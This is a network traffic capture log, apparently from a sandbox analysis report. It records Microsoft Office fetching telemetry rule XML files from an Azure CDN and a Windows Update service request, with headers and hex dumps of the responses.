2024-11-24 04:12:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 734d7ed2-001e-002b-08e4-3c99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041214Z-178bfbc474bpscmfhC1NYCfc2c00000003z000000000ffmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:16 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041216Z-174c587ffdfp4vpjhC1TEBybqw00000003vg00000000gawm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:16 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 3b38473f-101e-007a-2bbc-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041216Z-15b8b599d889gj5whC1TEBfyk000000003rg000000009x0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:16 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: fdb50a35-301e-005d-1e2f-3ce448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041216Z-178bfbc474bbcwv4hC1NYCypys00000005c0000000002hft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:16 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041216Z-178bfbc474bp8mkvhC1NYCzqnn000000057g00000000cemn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:16 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:16 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041216Z-174c587ffdfcb7qhhC1TEB3x70000000042g0000000021q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:16 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 9403c66c-f01e-0052-600e-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041218Z-178bfbc474btrnf9hC1NYCb80g00000005h000000000f57u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:12:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 5431248a-601e-005c-155d-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041218Z-174c587ffdfmrvb9hC1TEBtn3800000003tg00000000sp3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:19 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041219Z-178bfbc474bv7whqhC1NYC1fg400000005dg00000000b6k7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:12:19 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:18 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 6d8f64b9-901e-005b-763b-3c2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041219Z-178bfbc474bgvl54hC1NYCsfuw00000005e0000000007g65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:18 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041219Z-178bfbc474b9fdhphC1NYCac0n00000005e00000000048sa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	49943	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:20 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x+GKtrEwdR9nSl4&MD=2zgGtu86 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 04:12:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 1686ea57-c9dc-49d2-8d06-496341f89fc5 MS-RequestId: 559f307a-1f38-4232-8cd3-d2cba9502734 MS-CV: 7vfYAKj+KU2KRCQO.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 04:12:19 GMT Connection: close Content-Length: 30005
